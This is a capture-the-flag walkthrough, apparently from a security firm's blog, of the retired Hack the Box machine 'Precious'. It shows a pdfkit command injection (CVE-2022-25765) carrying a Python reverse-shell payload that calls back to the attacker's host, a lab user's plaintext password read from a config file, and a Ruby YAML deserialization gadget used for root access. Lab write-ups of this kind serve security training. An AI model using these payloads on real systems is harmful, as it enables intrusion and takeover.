Hack the Box is one of the cybersecurity upskilling platforms I use for professional development. Roughly once a week, Hack the Box releases a new vulnerable box for users to hack. Additionally, one active box is retired every week. Below is a walkthrough on compromising the recently retired box, “Precious.”
“Precious,” is hosting a website that offers a service to convert webpages to PDFs. During my investigation, I discover a command injection vulnerability in the tool used for this purpose. Exploiting this vulnerability, I gain a foothold on the box. By manually enumerating the box, I come across credentials stored in a configuration file for the user “Henry.” “Henry” has the privilege to execute a ruby script as root. Exploiting a deserialization vulnerability in this ruby script, I successfully obtain a root shell.
nmap
finds two open TCP ports, SSH (22) and HTTP (80).
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nmap -sC -sV 10.10.11.189
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 13:32 EDT
Nmap scan report for 10.10.11.189
Host is up (0.025s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nmap -p- 10.10.11.189
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-08 06:56 EDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.037s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.58 seconds
The web server redirects to http://precious.htb
.
I add the domain precious.htb
to /etc/hosts
. This will allow me to enumerate the website.
Navigating to http://precious.htb
in my browser I see I have the ability to convert a website to a PDF.
I set up a local web server hosting a simple page to explore this “Convert Web Page to PDF” feature.
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ echo "Hello World" > index.html
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ python3 -m http.server 9713
Serving HTTP on 0.0.0.0 port 9713 (http://0.0.0.0:9713/) ...
The website returns a pdf of my simple webpage. Looking at the file properties I see pdfkit v0.8.6 was used to create the pdf.
Using google, I find that pdfkit v0.8.6 appears to be vulnerable to CVE-2022-25765. This particular CVE has a high EPSS score and CVSS score, increasing my confidence that it is the intended path to obtaining a foothold on the box.
EPSS: .092
EPSS Percentile: .94
CVSS Score: 9.8
KEV Catalog: No
Following the links provided by NVD above, I am able to find a POC for the vulnerability.
Vulnerability Description
An application could be vulnerable to a command injection if it tries to render a URL that contains query string parameters with user input.
PoC
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf
Adjusting the PoC I get RCE with the following url.
http://10.10.14.8:9713/?name={%20`pwd`}
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious/www]
└─$ python3 -m http.server 9713
Serving HTTP on 0.0.0.0 port 9713 (http://0.0.0.0:9713/) ...
10.10.11.189 - - [08/Apr/2023 15:39:07] "GET /?name=%7B%20/var/www/pdfapp%7D HTTP/1.1" 200 -
Enumerating applications I find python is available. I am able to get a remote shell with the following crafted url.
http://10.10.14.8:9713/?name={%20` python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",9267));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`}
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ nc -lvnp 9267
listening on [any] 9267 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.189] 40120
/bin/sh: 0: can't access tty; job control turned off
$ whoami
ruby
$ hostname
precious
$
Upgrading my shell and manually enumerating the box. I find credentials for Henry.
$ python3 -c 'import pty; pty.spawn("/bin/bash");'
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended nc -lvnp 9267
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ stty raw -echo; fg % 1
[1] + continued nc -lvnp 9267
export TERM=screen
ruby@precious:/var/www/pdfapp$
ruby@precious:/var/www/pdfapp$ cd ~
ruby@precious:~$ pwd
/home/ruby
ruby@precious:~$ ls
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Apr 8 14:30 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Apr 8 14:30 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
Using the above credentials I can ssh into the box as henry.
┌──(kali 💻 box)-[~/workSpace/Boxes/Precious]
└─$ ssh henry@10.10.11.189
henry@10.10.11.189s password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Apr 8 14:57:31 2023 from 10.10.14.8
henry@precious:~$
Listing the commands I can run as sudo I see I can run update_dependencies.rb as root.
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Looking at update_dependencies.rb I see it call YAML.load(). In this instance YAML.load is vulnerable to a deserialization attacks.
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Saving the following maliciously crafted yml file as dependencies.yml I will obtain root privileges.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash
method_id: :resolve
henry@precious:/dev/shm/.htbuser$ vi dependencies.yml
henry@precious:/dev/shm/.htbuser$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash
method_id: :resolve
henry@precious:/dev/shm/.htbuser$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/dev/shm/.htbuser# whoami
root
root@precious:/dev/shm/.htbuser# id
uid=0(root) gid=0(root) groups=0(root)
“Precious” is an example of one of the many intriguing challenges available on Hack the Box. I intend to publish walkthroughs of future retired boxes as I continue using the platform to broaden my knowledge.
If you have any questions, or would like to discuss this topic in more detail, feel free to contact us and we would be happy to schedule some time to chat about how Aquia can help you and your organization.